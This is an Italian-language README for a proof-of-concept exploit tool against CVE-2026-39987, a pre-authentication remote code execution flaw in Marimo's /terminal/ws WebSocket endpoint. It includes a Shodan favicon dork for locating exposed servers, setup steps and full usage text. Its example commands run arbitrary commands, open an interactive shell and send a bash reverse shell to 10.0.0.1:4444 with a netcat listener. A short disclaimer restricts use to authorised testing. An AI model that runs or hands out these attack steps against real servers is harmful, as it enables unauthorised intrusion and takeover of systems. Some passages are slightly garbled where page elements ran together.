
CVE-2026-39987 Strumento di exploit - Marimo < 0.23.0 RCE pre-autenticazione (WebSocket)
Exploit Proof of Concept (PoC) per una vulnerabilità critica di Remote Code Execution (RCE) pre-autenticazione nelle versioni di Marimo precedenti alla 0.23.0.
La vulnerabilità consente a un attaccante non autenticato di connettersi all'endpoint WebSocket (/terminal/ws) ed eseguire comandi di sistema arbitrari sul server di destinazione.
/api/version).--no-check per ambienti in cui gli endpoint potrebbero essere oscurati.Puoi usare il seguente dork per identificare istanze potenzialmente vulnerabili:
http.favicon.hash:-1864630356
Si consiglia di utilizzare un ambiente virtuale Python per installare le dipendenze.
# 1. Clone the repository
git clone https://github.com/M3PH1569/CVE-2026-39987-POC.git
cd CVE-2026-39987-POC
# 2. Create and activate a virtual environment
python -m venv .CVE-2026-39987
# Windows
.CVE-2026-39987\Scripts\activate
# Linux/macOS
source .CVE-2026-39987/bin/activate
# 3. Upgrade pip and Install required dependencies
# Windows
py pip install --upgrade pip ; pip install -r requirements.txt
# Linux/MacOS
python3 pip install --upgrade pip && pip install -r requirements.txt
usage: CVE-2026-39987.py [-h] [-i] [--revshell IP PORT] [--ping-interval SEC] [--ping-timeout SEC] [--no-ping] [--max-retries N] [--no-reconnect] [--no-check] target [command]
positional arguments:
target Target URL (e.g. http://localhost:8080)
command Command to execute (omit when using -i)
options:
-h, --help show this help message and exit
--no-check Skip vulnerability version check
Execution modes:
-i, --interactive Interactive shell mode
--revshell IP PORT Generate & send a bash reverse shell payload
WebSocket tuning:
--ping-interval SEC WebSocket ping interval in seconds (default: 30, more frequent for stability)
--ping-timeout SEC WebSocket ping timeout in seconds (default: 300, increased from 120 for slow servers)
--no-ping Disable WebSocket ping/pong entirely (recommended if still disconnect)
Reconnect options:
--max-retries N Max auto-reconnect attempts (default: 5)
--no-reconnect Disable auto-reconnect on unexpected disconnect
1. Esegui un singolo comando:
python CVE-2026-39987.py http://target.com:8080 "id"
2. Avvia una shell interattiva:
python CVE-2026-39987.py http://target.com:8080 -i
3. Esegui una reverse shell:
Assicurati di avere un listener netcat in esecuzione sulla tua macchina (es. nc -lvnp 4444).
python CVE-2026-39987.py http://target.com:8080 --revshell 10.0.0.1 4444
4. Salta i controlli di verifica e forza l'esecuzione:
python CVE-2026-39987.py http://target.com:8080 "whoami" --no-check
I contributi sono benvenuti! Non esitare a inviare una Pull Request.
git checkout -b feature/update-feature)git commit -m 'Add update feature')git push origin feature/update-feature)Questo strumento è strettamente per scopi educativi e hacking etico autorizzato. L'autore non è responsabile per qualsiasi uso improprio, danno o attività illegale causata da questo script. Assicurati sempre di avere il permesso esplicito del proprietario del sistema prima di eseguire qualsiasi test di sicurezza. L'uso non autorizzato di questo script è illegale e punibile per legge.
Questo progetto è concesso in licenza sotto la MIT License - vedi il file LICENSE per i dettagli.